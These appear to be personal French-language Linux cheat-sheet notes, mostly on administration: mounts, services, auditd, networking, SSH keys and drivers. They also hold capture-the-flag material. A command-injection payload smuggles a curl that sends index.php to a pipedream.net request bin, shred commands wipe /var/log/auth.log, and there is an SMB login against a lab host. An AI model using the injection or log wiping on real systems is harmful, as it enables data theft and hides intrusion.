Techno | Description |
---|---|
Kerberos | Protocole d'authentification réseau sécurisé |
LDAP | Service d'annuaire pour stocker les informations d'utilisateurs |
FreeIPA | Solution intégrée pour la gestion des identités et des politiques |
SSSD | Daemon pour gérer l'accès aux services d'authentification distants |
PAM et NSS | Modules d'authentification et de services de noms |
Montage | Options recommandées | Description |
---|---|---|
/ | aucune | root |
/boot | nosuid,nodev,noexec | Contient le noyau et le chargeur de démarrage. |
/tmp | nosuid,nodev,noexec | fichiers temporaires |
/home | nosuid,nodev,noexec | repertoires utilisateurs |
/dev | aucune | peripheriques |
/var | nosuid,nodev,noexec | variables et logs |
lsblk
findmnt
cat /etc/fstab
setxkbmap fr #ne marche que lorsque X est lancé
loadkeys fr
apt install binutils net-tools -y
env
cat .bashrc
alias
echo $HOME
fdisk -l
lsblck
findmnt
gparted
df
systemctl list-units
systemctl status
systemctl disable ssh.service
systemctl stop ssh.service
rpcinfo
lsof
ss
find / -name flag.txt
locate ls
which ls
dpkg -l
dpkg -l apparmor
cat /etc/apt/sources.list
apt-key list
apt-key --keyring /etc/apt/trusted.gpg finger
notament après l'installation de package (.deb) manuellement (pdkg -i
)
apt --fix-broken install
apt-get install --fix-missing
apt-get install --fix-broken
file executable.2772.exe
objdump -d /usr/bin/sh
strings <executable ou l'on cherche des chaines de chars>
sha256sum test
- hexeditor
- bless
xxd -r -p input.hex output.bin
hexdump -C
id
whoami
touch test
umask 0077
chmod 700 test
chmod +x test
cat /proc/1/status | grep Cap
capsh --decode=0000000000003000
apt install auditd
systemctl status auditd.service
auditctl -w /home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -p xwa -k vulnapp
#auditctl -a always,exit -F dir=/home/michael/Downloads/VulnerableLightApp/VulnerableWebApp/ -F perm=wax
auditctl -l
ausearch -k vulnapp | aureport -f -i
auditctl -a always,exit -S openat -F auid=1000 -k user1000
ausearch -k user1000 | aureport -f -i
apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit
hashcat -I
Ouvrir l'explorateur de fichier: xdg-open
ajouter 3 apres “quiet” dans le GRUB
zip compressed.zip file_name.txt
zip -r compressed.zip folder_name/
unzip compressed.zip
unzip compressed.zip -d ~/Documents
tar zcvf compressed.tar.gz folder_name
tar zxvf compressed.tar.gz
for i in *.tar.gz; do tar -xzvf $i; done
dmesg
grepper pour chercher une pour identifier une information particulière
ex: /dev/sdb pour trouver sa clé usb
Ne pas monter la clé ou faire un unmount
dd if=kali-linux-blablabla.iso of=/dev/sdb
dd if=kali-linux-2019.4-amd64.iso of=/dev/sdb bs=512k
ou avec gnome-disks
(sudo apt install gnome-disk-utility)
curl -X POST -d name=value http://challenge01.root-me.org/web-serveur/ch53/index.php
curl http://admin.academy.htb:31817/admin/admin.php -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'
curl -d '{ "name": "Princess Leia" }' \
-H "Content-Type: application/json" \
https://enirdd6d0146.x.pipedream.net/
curl -d "@data.txt" -X POST http://localhost:3000/data
exemple avec injection de commande:
curl -X POST -d 'ip=127.0.0.1%0acurl -X POST -d @index.php https://enzuva1p723tj.x.pipedream.net' http://challenge01.root-me.org/web-serveur/ch53/index.php
-k OU --insecure
shred test
find <dir> -type f -exec shred {} \; # suppression recursives
shred -f -n 10 /var/log/auth.log* # change les permissions (-f) et fait 10 passes (-n)
$ cat > MyFile
write the text in the console, when done press CTRL+D
Now, if you’ll open MyFile, you’ll se that it contains the text you’ve entered. Be carefull as if the file you use is not empty, the content will be erased before adding what you’re writting.
cat <<EOF > print.sh
ip addr add 192.168.1.5/24 dev eth0
ifconfig eth0 192.168.1.5 netmask 255.255.255.0
ip link set eth0 [up|down]
ifconfig wlan0 down
route add default gw 192.168.1.254
ifconfig
to see details of wireless interfaces
iwconfig
to only see your wireless interfaces
iwlist wlan0 scan
to see all the Wi-Fi APs in your area. (Will include key data about each AP)
ncmli dev wifi
will do the same as above. (Key data)
nmcli dev wifi connect AP-ESSID password APpassword
to connect to an AP
$ ip route show
Sample output:
192.168.2.0/24 dev eth1 proto kernel scope link src 192.168.2.1
192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.2
default via 192.168.1.254 dev eth0You can add static route using following command:
ip route add {NETWORK} via {IP} dev {DEVICE}
For example network 192.168.55.0/24 available via 192.168.1.254:
$ ip route add 192.168.55.0/24 via 192.168.1.254 dev eth1
# Alternatively, you can use old good route command too:
$ route add -net 192.168.55.0 netmask 255.255.255.0 gw 192.168.1.254 dev eth1
Ne pas garder les cléfs par défaut sur les serveur ssh des VM téléchargée
cd /etc/ssh/
mkdir default_kali_keys
mv ssh_host_* default_kali_keys/
dpkg-reconfigure openssh-server
md5sum ssh_host_*
cd default_kali_keys/
md5sum *
systemctl restart ssh
pour du graphique activer le Forward X11 et
ForwardX11 yes
ForwardX11Trusted no
lancer ssh -X
coté client
thunar smb://10.10.10.178/Data
/usr/share/doc/python3-impacket/examples/smbclient.py C.Smith:[email protected]
apt-get install logcheck
sudo -u logcheck logcheck -o
sudo -u logcheck logcheck -o > /data/$(date +"%m-%d-%Y-%T").log
"acpi=off" -> désactive énormément de choses dont la gestion de l'alim et acceleration materiel "nouveau.blacklist=1" -> désactive les drivers nouveaux "nomodeset" -> n'utilise pas les module graphique du kernel durant le boot jusqu'au chargement de X)
- booter avec nomodeset ou nouveau.blacklist=1
- installer le package nvidia-driver
- rebooter (sans options supplémentaire, nouveau sera shooté automatiquement)
si freeze: utiliser les tty (ctrl+alt+<1,2,3,4...>) ou démarrer sans interface graphique: cf "runlevel"
modprobe -a <module name>
modprobe -r <module name>